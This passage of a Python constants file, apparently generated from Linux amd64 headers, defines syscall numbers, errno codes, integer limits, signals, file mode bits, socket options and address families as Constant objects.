Constant('SYS32_timer_create',259)\nSYS32_timer_settime = Constant('SYS32_timer_settime',(222+1))\nSYS32_timer_gettime = Constant('SYS32_timer_gettime',(222+2))\nSYS32_timer_getoverrun = Constant('SYS32_timer_getoverrun',(222+3))\nSYS32_timer_delete = Constant('SYS32_timer_delete',(222+4))\nSYS32_clock_settime = Constant('SYS32_clock_settime',(222+5))\nSYS32_clock_gettime = Constant('SYS32_clock_gettime',(222+6))\nSYS32_clock_getres = Constant('SYS32_clock_getres',(222+7))\nSYS32_clock_nanosleep = Constant('SYS32_clock_nanosleep',(222+8))\nSYS32_statfs64 = Constant('SYS32_statfs64',268)\nSYS32_fstatfs64 = Constant('SYS32_fstatfs64',269)\nSYS32_tgkill = Constant('SYS32_tgkill',270)\nSYS32_utimes = Constant('SYS32_utimes',271)\nSYS32_fadvise64_64 = Constant('SYS32_fadvise64_64',272)\nSYS32_vserver = Constant('SYS32_vserver',273)\nSYS32_mbind = Constant('SYS32_mbind',274)\nSYS32_get_mempolicy = Constant('SYS32_get_mempolicy',275)\nSYS32_set_mempolicy = Constant('SYS32_set_mempolicy',276)\nSYS32_mq_open = Constant('SYS32_mq_open',277)\nSYS32_mq_unlink = Constant('SYS32_mq_unlink',(240+1))\nSYS32_mq_timedsend = Constant('SYS32_mq_timedsend',(240+2))\nSYS32_mq_timedreceive = Constant('SYS32_mq_timedreceive',(240+3))\nSYS32_mq_notify = Constant('SYS32_mq_notify',(240+4))\nSYS32_mq_getsetattr = Constant('SYS32_mq_getsetattr',(240+5))\nSYS32_kexec_load = Constant('SYS32_kexec_load',283)\nSYS32_waitid = Constant('SYS32_waitid',284)\nSYS32_add_key = Constant('SYS32_add_key',286)\nSYS32_request_key = Constant('SYS32_request_key',287)\nSYS32_keyctl = Constant('SYS32_keyctl',288)\nSYS32_ioprio_set = Constant('SYS32_ioprio_set',289)\nSYS32_ioprio_get = Constant('SYS32_ioprio_get',290)\nSYS32_inotify_init = Constant('SYS32_inotify_init',291)\nSYS32_inotify_add_watch = Constant('SYS32_inotify_add_watch',292)\nSYS32_inotify_rm_watch = Constant('SYS32_inotify_rm_watch',293)\nSYS32_migrate_pages = Constant('SYS32_migrate_pages',294)\nSYS32_openat = Constant('SYS32_openat',295)\nSYS32_mkdirat = Constant('SYS32_mkdirat',296)\nSYS32_mknodat = Constant('SYS32_mknodat',297)\nSYS32_fchownat = Constant('SYS32_fchownat',298)\nSYS32_futimesat = Constant('SYS32_futimesat',299)\nSYS32_fstatat64 = Constant('SYS32_fstatat64',300)\nSYS32_unlinkat = Constant('SYS32_unlinkat',301)\nSYS32_renameat = Constant('SYS32_renameat',302)\nSYS32_linkat = Constant('SYS32_linkat',303)\nSYS32_symlinkat = Constant('SYS32_symlinkat',304)\nSYS32_readlinkat = Constant('SYS32_readlinkat',305)\nSYS32_fchmodat = Constant('SYS32_fchmodat',306)\nSYS32_faccessat = Constant('SYS32_faccessat',307)\nSYS32_pselect6 = Constant('SYS32_pselect6',308)\nSYS32_ppoll = Constant('SYS32_ppoll',309)\nSYS32_unshare = Constant('SYS32_unshare',310)\nSYS32_set_robust_list = Constant('SYS32_set_robust_list',311)\nSYS32_get_robust_list = Constant('SYS32_get_robust_list',312)\nSYS32_splice = Constant('SYS32_splice',313)\nSYS32_sync_file_range = Constant('SYS32_sync_file_range',314)\nSYS32_tee = Constant('SYS32_tee',315)\nSYS32_vmsplice = Constant('SYS32_vmsplice',316)\nSYS32_move_pages = Constant('SYS32_move_pages',317)\nSYS32_getcpu = Constant('SYS32_getcpu',318)\nSYS32_epoll_pwait = Constant('SYS32_epoll_pwait',319)\nSYS32_utimensat = Constant('SYS32_utimensat',320)\nSYS32_signalfd = Constant('SYS32_signalfd',321)\nSYS32_timerfd_create = Constant('SYS32_timerfd_create',322)\nSYS32_eventfd = Constant('SYS32_eventfd',323)\nSYS32_fallocate = Constant('SYS32_fallocate',324)\nSYS32_timerfd_settime = Constant('SYS32_timerfd_settime',325)\nSYS32_timerfd_gettime = Constant('SYS32_timerfd_gettime',326)\nSYS32_signalfd4 = Constant('SYS32_signalfd4',327)\nSYS32_eventfd2 = Constant('SYS32_eventfd2',328)\nSYS32_epoll_create1 = Constant('SYS32_epoll_create1',329)\nSYS32_dup3 = Constant('SYS32_dup3',330)\nSYS32_pipe2 = Constant('SYS32_pipe2',331)\nSYS32_inotify_init1 = Constant('SYS32_inotify_init1',332)\nSYS32_preadv = Constant('SYS32_preadv',333)\nSYS32_pwritev = Constant('SYS32_pwritev',334)\nSYS32_rt_tgsigqueueinfo = Constant('SYS32_rt_tgsigqueueinfo',335)\nSYS32_perf_event_open = Constant('SYS32_perf_event_open',336)\nSYS32_recvmmsg = Constant('SYS32_recvmmsg',337)\nSYS32_fanotify_init = Constant('SYS32_fanotify_init',338)\nSYS32_fanotify_mark = Constant('SYS32_fanotify_mark',339)\nSYS32_prlimit64 = Constant('SYS32_prlimit64',340)\nSYS32_name_to_handle_at = Constant('SYS32_name_to_handle_at',341)\nSYS32_open_by_handle_at = Constant('SYS32_open_by_handle_at',342)\nSYS32_clock_adjtime = Constant('SYS32_clock_adjtime',343)\nSYS32_syncfs = Constant('SYS32_syncfs',344)\nSYS32_sendmmsg = Constant('SYS32_sendmmsg',345)\nSYS32_setns = Constant('SYS32_setns',346)\nSYS32_process_vm_readv = Constant('SYS32_process_vm_readv',347)\nSYS32_process_vm_writev = Constant('SYS32_process_vm_writev',348)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',64)\n__WORDSIZE_COMPAT32 = Constant('__WORDSIZE_COMPAT32',1)\n__UNALIGNED_MEMORY_ACCESS_OK = Constant('__UNALIGNED_MEMORY_ACCESS_OK',1)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807)))\nINTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = 